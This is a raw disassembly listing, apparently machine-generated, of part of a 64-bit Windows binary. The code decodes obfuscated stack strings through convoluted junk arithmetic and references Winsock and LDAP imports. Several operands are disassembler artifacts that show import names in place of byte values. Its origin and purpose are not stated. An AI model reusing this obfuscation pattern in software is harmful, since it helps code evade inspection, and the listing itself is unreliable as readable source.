mov rdx, rsi
call fcn.140035c60
lea rdx, [0x1402280a0]
lea rcx, [rbp + 0x558]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov rsi, rax
mov byte [rbp + 0xc18], Ordinal_200
mov byte [rbp + 0xc19], 0xe0
mov byte [rbp + 0xc1a], 0xe9
mov byte [rbp + 0xc1b], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xc1c], 0xf5
mov byte [rbp + 0xc1d], 0xe3
mov byte [rbp + 0xc1e], 0xf5
mov byte [rbp + 0xc1f], 0xea
mov byte [rbp + 0xc20], Ordinal_50
mov byte [rbp + 0xc21], Ordinal_211
mov byte [rbp + 0xc22], 0xea
mov byte [rbp + 0xc23], 0xee
mov byte [rbp + 0xc24], Ordinal_211
mov byte [rbp + 0xc25], Ordinal_217
mov byte [rbp + 0xc26], reloc.WLDAP32.dll_Ordinal_46
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc27], xmm0
mov dword [rbp + 0xc37], eax
movabs r14, 0x3ce91e066a3f79e4
movabs r15, 0xd01f6536a6e11a9c
movabs r12, 0x998f49f916aa4bf4
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
movabs rdx, 0x1b480d9ec81b6754
cmp rdi, 0x23
jae 0x14007be75
movzx ebx, byte [rbp + rdi + 0xc18]
mov r10, rbx
cmp r8, rdi
ja 0x14007be6c
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14007b0ad
lea rcx, [rdi + rdx]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x4c
jmp 0x14007b0e7
je 0x14007bdde
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007bd44
lea rax, [rcx + 1]
cmp r8, rax
je 0x14007bd0b
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007bca8
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007bc51
cmp r9, rdi
ja 0x14007be63
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x14007b110
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
jmp 0x14007b150
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007bc40
inc rax
cmp r8, rax
je 0x14007bc2f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007bbf7
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007bbd4
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007bb9b
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14007b7e1
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007b7b9
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007b78d
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007b75f
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007b738
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14007b702
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007b6ca
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14007b6a7
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14007b67f
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007b64b
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14007b160
lea r8, [r9 + 0x1000]
lea r9, [r8 + 4]
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007be3b
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14007be18
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14007b34e
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14007b32f
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14007b315
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14007b5e7
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14007b58c
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14007b540
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14007b50d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14007b160
lea r8, [r9 + 2]
lea r9, [r8 + 0x20]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14007b4d9
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14007b4b1
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14007b48e
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14007b456
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007b420
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14007b3fd
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007b3cf
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14007b3a3
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14007b37b
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14007b160
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 2]
jmp 0x14007b160
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x14007b150
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007b0e7
movabs rcx, 0x62ff2ebb86737d4c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
movabs rdx, 0x1b480d9ec81b6754
jmp 0x14007b07e
movabs rdx, 0xe748f03351fbcf20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007bc74
movabs rcx, 0xb0b8d4f5c1c50078
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
inc r9
dec rdi
inc rdi
jmp 0x14007b062
movabs rdx, 0x7a28b9b8318e31d0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007b062
movabs rcx, 0x43989e7aa1576328
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x14007bccb
movabs rcx, 0xd08833d11209480
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007b062
movabs rdx, 0xd67867ff80e9c5d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007b062
movabs rcx, 0x9fe84cc1f0b2f730
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x14007bd68
movabs rdx, 0x69583184607c2888
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007bd9a
movabs rcx, 0x32c81646d04559e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rdi + 0xc18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007b062
movabs rdx, 0xaa5fd22ce7bc553c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0xc18], r11b
inc rdi
jmp 0x14007b062
movabs rcx, 0x73cfb6ef57858694
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
cmp r9, 0x2a
jb 0x14007b530
movabs rcx, 0xdeb56d43baeb2b78
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x14007bc74
movabs rcx, 0x3d3f9bb1c74eb7ec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
cmp r8, 0x3e8
jae 0x14007bb47
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x14007b9df
movabs rcx, 0xbd145cdc18c718e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x14007b55e
movabs rdx, 0x6af80743717e944
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x14007bb71
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14007b8d7
movabs rcx, 0x802b3ed5ae879f04
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x14007b5aa
movabs rcx, 0x6d76b4267d7cdb58
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
movzx eax, byte [rbp + rdi + 0xc18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007b062
movabs rdx, 0x36e698e8ed460cb0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007bd9a
movabs rcx, 0x567dab5d0f3e08
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x14007bd68
movabs rdx, 0xc9c6626dccd86f60
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007b062
movabs rcx, 0x933647303ca1a0b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007b062
movabs rdx, 0x5ca62bf2ac6ad210
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x70
add r11b, dl
jmp 0x14007bccb
movabs rdx, 0x261610b51c340368
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14007b062
movabs rcx, 0xef85f5778bfd34c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x14007b062
movabs rdx, 0xb8f5da39fbc66618
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007bc74
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x14007b80d
movabs rcx, 0x1b480d9ec81b6754
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x14007b60a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007b84a
movabs rcx, 0x79d23c0cd47ef3c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
movzx eax, byte [rbp + rdi + 0xc18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007b062
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007b87b
movabs rdx, 0xe6f27287f4ec9118
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007bd68
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007b8a7
movabs rcx, 0x8aa2c440a590fd10
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x14007bccb
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007b60a
movabs rcx, 0x2e5315f956356908
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x14007bc74
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007b908
movabs rdx, 0xb6bb5a133ebe6dac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007bc74
inc rax
cmp r8, rax
jne 0x14007b933
movabs rcx, 0x5a6babcbef62d9a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x14007bccb
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007b972
movabs rcx, 0x90fbc7097f99a84c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007b062
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007b99e
movabs rcx, 0xfe1bfd84a007459c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x14007bd68
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007b5aa
movabs rcx, 0x6b3c33ffc074e2ec
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x74
movzx eax, byte [rbp + rdi + 0xc18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007b062
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007ba21
movabs rdx, 0xf3a47819a8fde790
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xc18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007b062
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007ba4d
movabs rcx, 0x60c4ae94c96b84e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x14007bd68
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007ba8e
movabs rdx, 0x9754c9d259a25388
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007b062
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007baab
movabs rdx, 0x475004d7a0ff0d8
mov ecx, recv
jmp 0x14007bcb7
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007badd
movabs rcx, 0x3b051b8b0a46bf80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x14007b062
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007bb12
movabs rcx, 0x719536c89a7d8e28
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
inc r9
dec rdi
inc rdi
jmp 0x14007b062
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14007b55e
movabs rdx, 0xa82552062ab45cd0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007bc74
movabs rdx, 0x154588814b21fa20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xc18]
jmp 0x14007bcc5
movabs rcx, 0x4bd5a3bedb58c8c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xc18]
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x14007bd68
movabs rdx, 0x27fa13307c2cbdcc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xc18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007b062
movabs rcx, 0xbad9dcb55bbf207c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x14007bd68
movabs rdx, 0x8449c177cb8851d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007b062
movabs rdx, 0x17298afcab1ab484
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14007bcb7
movabs rdx, 0x73793943fa76488c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14007bc60
movabs rdx, 0x65902c8da08ab3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0xf9fd7ae2830692cc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xc18], cl
inc r9
dec rdi
inc rdi
jmp 0x14007b062
movabs rdx, 0x62a8b11029643f44
mov ecx, reloc.WS2_32.dll_select
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x308d9620133d6174
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x2c
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xc18], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007b062
movabs rdx, 0xf5887a9508f6a1f4
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007b062
mov rbx, r10
movabs rcx, 0xbef85f5778bfd34c
add rcx, rdi
and r10b, cl
add r10b, r10b
movzx r11d, bl
sub r11b, r10b
sub r11b, 0x14
add r11b, cl
movabs rdx, 0x671db15da374301c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xc18], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0x8265befc6b8f9770
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x10
add cl, bl
mov byte [rbp + rdi + 0xc18], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xc18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007b062
movabs rdx, 0x51d828dc585235fc
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007b062
movabs rcx, 0x2c6f137df63caea4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x14007b05e
movabs rdx, 0xf5def8406605dffc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007b049
lea rcx, [rbp + 0x1697888]
jmp 0x14007be7c
lea rcx, [rbp + 0xc4dfdc]
jmp 0x14007be7c
lea rcx, [rbp + 0xc18]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x1402281a0]
lea rcx, [rbp + 0x578]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov rsi, rax
mov byte [rbp + 0xc40], Ordinal_41
mov byte [rbp + 0xc41], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xc42], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xc43], 0xdf
mov byte [rbp + Ordinal_2004], 0xc4
mov byte [rbp + 0xc45], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xc46], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xc47], Ordinal_50
mov byte [rbp + 0xc48], 0xdc
mov byte [rbp + 0xc49], Ordinal_211
mov byte [rbp + 0xc4a], 0xdd
mov byte [rbp + 0xc4b], Ordinal_217
mov byte [rbp + 0xc4c], 0x78
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc4d], xmm0
mov dword [rbp + 0xc5d], eax
mov word [rbp + 0xc61], ax
movabs r14, 0x916eb6a47d57e3e6
movabs r15, 0xdb0163961914fcda
movabs r12, 0x533ffcdbc4006d3e
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r9, qword [0x14022e4a8]
mov r8, qword [0x14022e4a0]
nop
xor edi, edi
movabs rdx, 0x43e0b35d2a8a47ce
cmp rdi, 0x23
jae 0x14007cdbf
movzx ebx, byte [rbp + rdi + 0xc40]
mov r10, rbx
cmp r9, rdi
ja 0x14007cdb6
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14007bfad
lea rcx, [rdi + rdx]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x5e
jmp 0x14007c001
je 0x14007cd28
lea rax, [r8 + 2]
cmp r9, rax
je 0x14007cc8e
lea rax, [r8 + 3]
cmp r9, rax
je 0x14007cc55
lea rax, [r8 + 5]
cmp r9, rax
je 0x14007cc1a
lea rax, [r8 + 6]
cmp r9, rax
je 0x14007cbbf
lea rax, [r8 + 7]
cmp r9, rax
je 0x14007cb96
lea rax, [r8 + 9]
cmp r9, rax
je 0x14007cb48
cmp r8, rdi
ja 0x14007cdad
lea rax, [r8 + 0x61]
cmp r9, rax
jae 0x14007c02a
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
jmp 0x14007c070
lea rax, [r8 + 1]
cmp r9, rax
je 0x14007cb23
lea rax, [r8 + 2]
cmp r9, rax
je 0x14007cafa
lea rax, [r8 + 5]
cmp r9, rax
je 0x14007cac2
lea rax, [r8 + 4]
cmp r9, rax
je 0x14007ca9f
lea rax, [r8 + 8]
cmp r9, rax
je 0x14007ca66
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14007c6ef
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x14007c6c7
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x14007c696
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x14007c66d
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x14007c64a
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x14007c60f
lea rax, [r8 + 0x1000]
cmp r9, rax
je 0x14007c5d7
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x14007c5b4
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x14007c591
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x14007c558
lea r9, [r8 + 3]
lea r8, [r9 + 0x7a]
lea rax, [r8 + 8]
cmp r9, rax
jb 0x14007cd85
lea rax, [r8 + 2]
cmp r9, rax
jb 0x14007cd62
lea rax, [r8 + 6]
cmp r9, rax
jb 0x14007c268
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x14007c249
lea rax, [r8 + 5]
cmp r9, rax
jb 0x14007c22a
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x14007c4f7
lea rax, [r8 + 4]
cmp r9, rax
jb 0x14007c4a6
lea rax, [r8 + 9]
cmp r9, rax
jb 0x14007c455
lea rax, [r8 + 3]
cmp r9, rax
jb 0x14007c427
lea r9, [r8 + 0x200]
lea r8, [r9 + 2]
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x14007c3f3
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x14007c3d0
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x14007c3a8
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x14007c370
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x14007c33a
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x14007c312
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x14007c2e4
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x14007c2b8
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x14007c295
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x14007c080
lea r9, [r8 + 6]
lea r8, [r9 + 0x80]
jmp 0x14007c080
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007c070
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007c001
movabs rcx, 0xcb7e96216eebdda2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6e
movabs rdx, 0x43e0b35d2a8a47ce
jmp 0x14007bf7e
movabs rcx, 0x8b75b523eabf1f30
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x14007cb66
movabs rcx, 0x3b44e6995aa8f94
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
inc r8
dec rdi
inc rdi
jmp 0x14007bf62
movabs rdx, 0x7bf2e7af4095fff8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14007bf62
movabs rdx, 0xf43180f4eb81705c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007cbdd
movabs rcx, 0x6c701a3a966ce0c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007bf62
movabs rdx, 0xe4aeb38041585124
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007bf62
movabs rdx, 0x5ced4cc5ec43c188
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007ccb2
movabs rcx, 0xd52be60b972f31ec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x14007cce4
movabs rcx, 0x4d6a7f51421aa250
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0xc40]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14007bf62
movabs rcx, 0xfa06fe7f6d673b4a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
mov byte [rbp + rdi + 0xc40], r11b
inc rdi
jmp 0x14007bf62
movabs rdx, 0x724597c51852abae
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x1000
jb 0x14007c445
movabs rcx, 0xb87771ef3189c14
